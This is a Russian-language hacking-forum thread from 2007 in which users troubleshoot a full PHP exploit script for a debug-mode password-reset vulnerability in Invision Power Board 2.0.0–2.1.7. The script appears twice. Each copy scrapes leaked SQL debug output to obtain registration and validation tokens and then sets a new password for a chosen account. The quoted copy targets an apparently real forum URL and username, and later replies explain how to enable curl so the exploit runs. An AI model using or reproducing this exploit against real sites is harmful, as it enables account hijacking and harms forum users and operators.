ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

ipb 2.1.7 -> Exploit
  #1  
Старый 11.08.2007, 14:25
Аватар для Serafim
Serafim
Участник форума
Регистрация: 24.10.2006
Сообщений: 261
Провел на форуме:
3227914

Репутация: 174
Question ipb 2.1.7 -> Exploit

PHP код:
<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://forum123.ru";

// An existing user's login name 
$name "123"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
$proxy "219.11.80.65:8080"



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "debug=1"
$curl curl_init($site.'act=Reg&CODE=10&'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode))

    echo 
"Error: Probably not vulnerable, or no forum found"
    exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$suffix$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>
Все функции правильно написаны, но вылетает ерор Пподскажите в чем трабл?

Последний раз редактировалось Serafim; 07.09.2009 в 01:04..
 
Ответить с цитированием

  #2  
Старый 11.08.2007, 14:29
Аватар для QtQDuck
QtQDuck
Познающий
Регистрация: 01.08.2007
Сообщений: 43
Провел на форуме:
288786

Репутация: 5
По умолчанию

Цитата:
Сообщение от Serafim  
PHP код:
<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://forum.nevsedoma.com.ua/index.php";

// An existing user's login name 
$name "life:)"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
$proxy "219.11.80.65:8080"



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "debug=1"
$curl curl_init($site.'act=Reg&CODE=10&'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode))

    echo 
"Error: Probably not vulnerable, or no forum found"
    exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$suffix$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>
Все функции правильно написаны, но вылетает ерор Пподскажите в чем трабл?
Error: Probably not vulnerable, or no forum found?
мб залатали уже или ты ссылку не прально указал=)
 
Ответить с цитированием

  #3  
Старый 11.08.2007, 16:51
Аватар для maxster
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
Отправить сообщение для maxster с помощью ICQ
По умолчанию

ты курл подключил ?
 
Ответить с цитированием

  #4  
Старый 11.08.2007, 17:59
Аватар для maxster
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
Отправить сообщение для maxster с помощью ICQ
По умолчанию

этот эксплойт работаеть, только со включенным курлом, что бы его включить надо провести некие манипуляции с апачем
Код:
Это описание для тех, кто не знает, как сделать так чтобы заработал php_curl:

1. Качаем http://limpompo.jino-net.ru/php_curl.rar
2. Копируем libeay32.dll и ssleay32.dll в диру c:\windows\system32\
3. Копируем  php_curl.dll в диру [you_apache_dir]\php\extensions 
4. Редактируем PHP.ini - Удаляем Комент с extension=php_curl.dll
5. Перезагрузи Апачу! 
6. Уря =) Работает... ыыыыыы

С Уважением limpompo.
ссылка битая, а новую найти я не смог...

Последний раз редактировалось maxster; 11.08.2007 в 18:02..
 
Ответить с цитированием

  #5  
Старый 11.08.2007, 19:51
Аватар для 4nob1oz
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Поставь апач и мускул на локал машину. Там же прокси указать можно даже. Вклюсишь курл, вобьёшь прокси и проверишь работает или нет.
 
Ответить с цитированием

  #6  
Старый 12.08.2007, 02:24
Аватар для FaR-G9
FaR-G9
Участник форума
Регистрация: 19.12.2006
Сообщений: 159
Провел на форуме:
896935

Репутация: 64
Отправить сообщение для FaR-G9 с помощью ICQ
По умолчанию

А лучше скачай денвер http://denwer.ru там сразу и апач и мускул
 
Ответить с цитированием

  #7  
Старый 12.08.2007, 02:33
Аватар для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от FaR-G9  
А лучше скачай денвер http://denwer.ru там сразу и апач и мускул
http://www.appservnetwork.com/ - мне этот больше нравится=\
 
Ответить с цитированием

  #8  
Старый 12.08.2007, 04:37
Аватар для limpompo
limpompo
Друг Клитора
Регистрация: 27.08.2005
Сообщений: 1,662
Провел на форуме:
6913553

Репутация: 1329


По умолчанию

но тама нету php_curl! =)
 
Ответить с цитированием

  #9  
Старый 17.10.2007, 18:40
Аватар для mental2
mental2
Познающий
Регистрация: 13.08.2007
Сообщений: 37
Провел на форуме:
232729

Репутация: 1
По умолчанию

А что делать когда ошибка в php_curl?
 
Ответить с цитированием

  #10  
Старый 20.10.2007, 17:52
Аватар для N19hTW0lF
N19hTW0lF
Участник форума
Регистрация: 11.07.2007
Сообщений: 292
Провел на форуме:
2131521

Репутация: 512
По умолчанию

вот http://flyelf.narod.ru/musor/curl.zip
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
скрипт распознавания форума genom-- Форумы 22 31.12.2008 15:06
Exploit для IPB 2.1.7 samurays Болталка 3 07.09.2006 13:10
Продаю самые Красивые номера. Красивые 5,6 знаки. Кирпич ICQ - Покупка, продажа 3 09.04.2004 18:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ